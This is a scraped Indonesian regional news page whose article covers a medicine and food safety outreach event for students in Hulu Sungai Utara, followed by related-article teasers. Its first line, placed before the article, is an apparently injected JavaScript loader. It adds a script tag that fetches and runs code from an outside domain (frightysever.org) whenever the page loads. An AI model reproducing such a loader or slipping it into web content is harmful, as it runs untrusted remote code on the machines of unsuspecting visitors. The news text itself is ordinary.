(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Puluhan pelajar dan mahasiswa di Kabupaten Hulu Sungai Utara (HSU) mengikuti kegiatan sosialisasi keamanan obat dan makanan oleh Loka Pengawas Obat dan Makanan (POM) HSU. Acara yang digelar di Kantor Loka POM HSU, Kamis (11/10) ini diisi sosialisasi keamanan obat dan makanan.
Hadir pada kegiatan tersebut Kepala Loka POM Kabupaten HSU, jajaran Badan Narkotika Nasional Kabupaten (BNNK) HSU, perwakilan pelajar dan mahasiswa se-HSU.
Bupati HSU H. Abdul Wahid, HK saat menghadiri acara tersebut mengatakan, sosialisasi ini sangat bernilai positif dengan keberadaan Loka POM Kabupaten HSU yang membawahi wilayah HSU, Balangan dan Tabalong. Sehingga masyarakat dapat merasa lebih aman serta dapatlah memeriksa produk makanan yang aman untuk dikonsumsi sehari-hari.
Melalui Loka POM dan didukung dengan fasilitas mobil operasional, diharapkan dapat lebih cepat untuk menindak lanjuti penanganan hal-hal yang terjadi di lapangan. “Dengan adanya sosialisasi ini pula dapat memberikan pemahaman kepada kita semua agar lebih mengetahui tentang obat-obatan dan makanan yang berbahaya,” ujar Bupati Wahid.
Sementara Kepala Loka POM HSU Bambang Hery Purwanto mengatakan perlunya masyarakat  mengetahui penggolongan obat bebas terbatas, obat bebas, obat keras, serta nomor izin edar obat. Demikian diperlukan agar tidak berdampak negatif pada pengguna.
Menurut Bambang, kebanyakan asyarakat saat mau mengkonsumsi obat tidak memakai resep dokter dan juga melebihi dari dosis yang dianjurkan. Bahkan banyak anak-anak muda yang memakai obat-obatan dengan lebih dari 10 biji bahkan 20 biji sekali minum. “Ini tentunya dapat menimbulkan dampak yang sangat tidak baik bahkan fatal sekali terhadap dirinya,” paparnya.
Dirinya juga menyampaikan bagai mana cara penggunaan obat di rumah dan tata cara penyimpanan obat dirumah yang baik. Termasuk bahaya yang ditimbulkan dari merokok, baik kepada perokok aktif maupun perokok pasif.
Sementara itu dosen fakultas Farmasi Universitas Muhammadiyah Banjarmasin Nita Triadisti menyampaikan perlunya mengenal dosis, indikasi, kontra indikasi, efek samping dan interaksi obat. Dijelaskannya, bahwa obat ini adalah senyawa kecil kimia yang efeknya sangat berdampak pada organ tubuh. “Seminim mungkin untuk mengonsumsi obat lebih baik, konsumsi obat itu apabila kita sakit saja. Apabila kita sudah tidak sakit maka dianjurkan untuk tidak mengonsumsi obat lagi, karena kalau terus menerus meminum obat akan berdampak kepada hati dan ginjal kita sendiri,†jelasnya.
Sementara kelebihan atau penyalah gunaan obat golongan napza dan bahkan nikotin baik bekerja secara langsung atau tidak langsung akan berdampak pada kerusakan otak, sel-sel, jaringan organ tubuh dan yang lebih fatal menimbulkan kematian.(dew)
KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More
KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
This website uses cookies.